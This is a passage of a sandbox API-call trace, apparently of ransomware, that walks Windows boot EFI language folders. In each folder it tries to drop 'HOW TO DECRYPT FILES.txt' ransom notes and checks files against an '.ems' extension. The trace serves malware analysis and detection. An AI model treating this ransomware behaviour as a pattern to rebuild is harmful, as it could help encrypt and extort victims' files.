lpString2="ru-RU") returned -1 [0125.122] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\*.*") returned="*.*" [0125.122] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="ru-RU" | out: lpString1="C:\\Windows\\Boot\\EFI\\ru-RU") returned="C:\\Windows\\Boot\\EFI\\ru-RU" [0125.122] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\EFI\\ru-RU\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe0ffd8c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe0ffd8c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.122] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.122] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe0ffd8c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe0ffd8c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.122] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.122] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.122] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2983f98, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe311a51f, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7832fac8, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1 [0125.122] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.123] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.123] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.123] lstrcmpiA (lpString1="", lpString2="bootmgfw.efi.mui") returned -1 [0125.123] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\ru-RU\\*.*") returned="*.*" [0125.123] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\ru-RU\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\ru-RU\\") returned="C:\\Windows\\Boot\\EFI\\ru-RU\\" [0125.123] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\ru-RU\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\ru-RU\\") returned="" [0125.123] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\ru-RU\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\ru-RU\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\ru-RU\\HOW TO DECRYPT FILES.txt" [0125.123] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\ru-RU\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\ru-ru\\how to decrypt files.txt")) returned 0xffffffff [0125.123] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\ru-RU\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\ru-ru\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.123] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.123] CloseHandle (hObject=0xffffffff) returned 0 [0125.124] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\ru-RU\\", lpString2="bootmgfw.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\ru-RU\\bootmgfw.efi.mui") returned="C:\\Windows\\Boot\\EFI\\ru-RU\\bootmgfw.efi.mui" [0125.124] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\ru-RU\\bootmgfw.efi.mui", pszSpec="*.ems") returned 0 [0125.124] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7967bad, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7967bad, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1 [0125.124] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.124] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.124] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.124] lstrcmpiA (lpString1="", lpString2="bootmgr.efi.mui") returned -1 [0125.124] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\ru-RU\\bootmgfw.efi.mui") returned="bootmgfw.efi.mui" [0125.124] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\ru-RU\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\ru-RU\\") returned="C:\\Windows\\Boot\\EFI\\ru-RU\\" [0125.124] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\ru-RU\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\ru-RU\\") returned="" [0125.124] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\ru-RU\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\ru-RU\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\ru-RU\\HOW TO DECRYPT FILES.txt" [0125.124] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\ru-RU\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\ru-ru\\how to decrypt files.txt")) returned 0xffffffff [0125.124] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\ru-RU\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\ru-ru\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.124] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.125] CloseHandle (hObject=0xffffffff) returned 0 [0125.125] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\ru-RU\\", lpString2="bootmgr.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\ru-RU\\bootmgr.efi.mui") returned="C:\\Windows\\Boot\\EFI\\ru-RU\\bootmgr.efi.mui" [0125.125] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\ru-RU\\bootmgr.efi.mui", pszSpec="*.ems") returned 0 [0125.125] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7967bad, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7967bad, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 0 [0125.125] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0125.125] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe125ee6, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe125ee6, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0125.125] lstrcmpA (lpString1=".", lpString2="sv-SE") returned -1 [0125.125] lstrcmpA (lpString1="..", lpString2="sv-SE") returned -1 [0125.125] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\*.*") returned="*.*" [0125.125] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="sv-SE" | out: lpString1="C:\\Windows\\Boot\\EFI\\sv-SE") returned="C:\\Windows\\Boot\\EFI\\sv-SE" [0125.125] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\EFI\\sv-SE\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe125ee6, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe125ee6, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.126] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.126] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe125ee6, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe125ee6, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.126] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.126] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.126] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4555e87, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4cec40e, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x784142f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1 [0125.126] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.126] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.126] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.126] lstrcmpiA (lpString1="", lpString2="bootmgfw.efi.mui") returned -1 [0125.126] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\sv-SE\\*.*") returned="*.*" [0125.126] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\sv-SE\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\sv-SE\\") returned="C:\\Windows\\Boot\\EFI\\sv-SE\\" [0125.126] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\sv-SE\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\sv-SE\\") returned="" [0125.126] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\sv-SE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\sv-SE\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\sv-SE\\HOW TO DECRYPT FILES.txt" [0125.126] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\sv-SE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\sv-se\\how to decrypt files.txt")) returned 0xffffffff [0125.126] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\sv-SE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\sv-se\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.127] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.127] CloseHandle (hObject=0xffffffff) returned 0 [0125.127] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\sv-SE\\", lpString2="bootmgfw.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\sv-SE\\bootmgfw.efi.mui") returned="C:\\Windows\\Boot\\EFI\\sv-SE\\bootmgfw.efi.mui" [0125.127] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\sv-SE\\bootmgfw.efi.mui", pszSpec="*.ems") returned 0 [0125.127] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2fe9a37, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe370dba7, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe370dba7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1 [0125.127] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.127] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.127] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.127] lstrcmpiA (lpString1="", lpString2="bootmgr.efi.mui") returned -1 [0125.127] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\sv-SE\\bootmgfw.efi.mui") returned="bootmgfw.efi.mui" [0125.127] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\sv-SE\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\sv-SE\\") returned="C:\\Windows\\Boot\\EFI\\sv-SE\\" [0125.127] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\sv-SE\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\sv-SE\\") returned="" [0125.127] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\sv-SE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\sv-SE\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\sv-SE\\HOW TO DECRYPT FILES.txt" [0125.127] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\sv-SE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\sv-se\\how to decrypt files.txt")) returned 0xffffffff [0125.128] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\sv-SE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\sv-se\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.128] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.128] CloseHandle (hObject=0xffffffff) returned 0 [0125.128] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\sv-SE\\", lpString2="bootmgr.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\sv-SE\\bootmgr.efi.mui") returned="C:\\Windows\\Boot\\EFI\\sv-SE\\bootmgr.efi.mui" [0125.128] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\sv-SE\\bootmgr.efi.mui", pszSpec="*.ems") returned 0 [0125.128] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2fe9a37, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe370dba7, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe370dba7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 0 [0125.128] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0125.128] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0125.128] lstrcmpA (lpString1=".", lpString2="tr-TR") returned -1 [0125.128] lstrcmpA (lpString1="..", lpString2="tr-TR") returned -1 [0125.128] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\*.*") returned="*.*" [0125.128] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="tr-TR" | out: lpString1="C:\\Windows\\Boot\\EFI\\tr-TR") returned="C:\\Windows\\Boot\\EFI\\tr-TR" [0125.129] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\EFI\\tr-TR\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.129] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.129] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.129] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.129] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.129] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8def7cf, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94c7685, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x784142f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15450, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1 [0125.129] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.129] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.129] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.129] lstrcmpiA (lpString1="", lpString2="bootmgfw.efi.mui") returned -1 [0125.129] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\tr-TR\\*.*") returned="*.*" [0125.129] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\tr-TR\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\tr-TR\\") returned="C:\\Windows\\Boot\\EFI\\tr-TR\\" [0125.129] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\tr-TR\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\tr-TR\\") returned="" [0125.129] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\tr-TR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\tr-TR\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\tr-TR\\HOW TO DECRYPT FILES.txt" [0125.129] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\tr-TR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\tr-tr\\how to decrypt files.txt")) returned 0xffffffff [0125.129] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\tr-TR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\tr-tr\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.130] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.130] CloseHandle (hObject=0xffffffff) returned 0 [0125.130] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\tr-TR\\", lpString2="bootmgfw.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\tr-TR\\bootmgfw.efi.mui") returned="C:\\Windows\\Boot\\EFI\\tr-TR\\bootmgfw.efi.mui" [0125.130] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\tr-TR\\bootmgfw.efi.mui", pszSpec="*.ems") returned 0 [0125.130] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6389346, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6b6bb87, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6b6bb87, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13800, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1 [0125.130] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.131] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.131] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.131] lstrcmpiA (lpString1="", lpString2="bootmgr.efi.mui") returned -1 [0125.131] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\tr-TR\\bootmgfw.efi.mui") returned="bootmgfw.efi.mui" [0125.131] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\tr-TR\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\tr-TR\\") returned="C:\\Windows\\Boot\\EFI\\tr-TR\\" [0125.131] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\tr-TR\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\tr-TR\\") returned="" [0125.131] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\tr-TR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\tr-TR\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\tr-TR\\HOW TO DECRYPT FILES.txt" [0125.131] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\tr-TR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\tr-tr\\how to decrypt files.txt")) returned 0xffffffff [0125.131] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\tr-TR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\tr-tr\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.131] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.131] CloseHandle (hObject=0xffffffff) returned 0 [0125.131] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\tr-TR\\", lpString2="bootmgr.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\tr-TR\\bootmgr.efi.mui") returned="C:\\Windows\\Boot\\EFI\\tr-TR\\bootmgr.efi.mui" [0125.132] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\tr-TR\\bootmgr.efi.mui", pszSpec="*.ems") returned 0 [0125.132] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6389346, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6b6bb87, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6b6bb87, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13800, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 0 [0125.132] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0125.132] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, 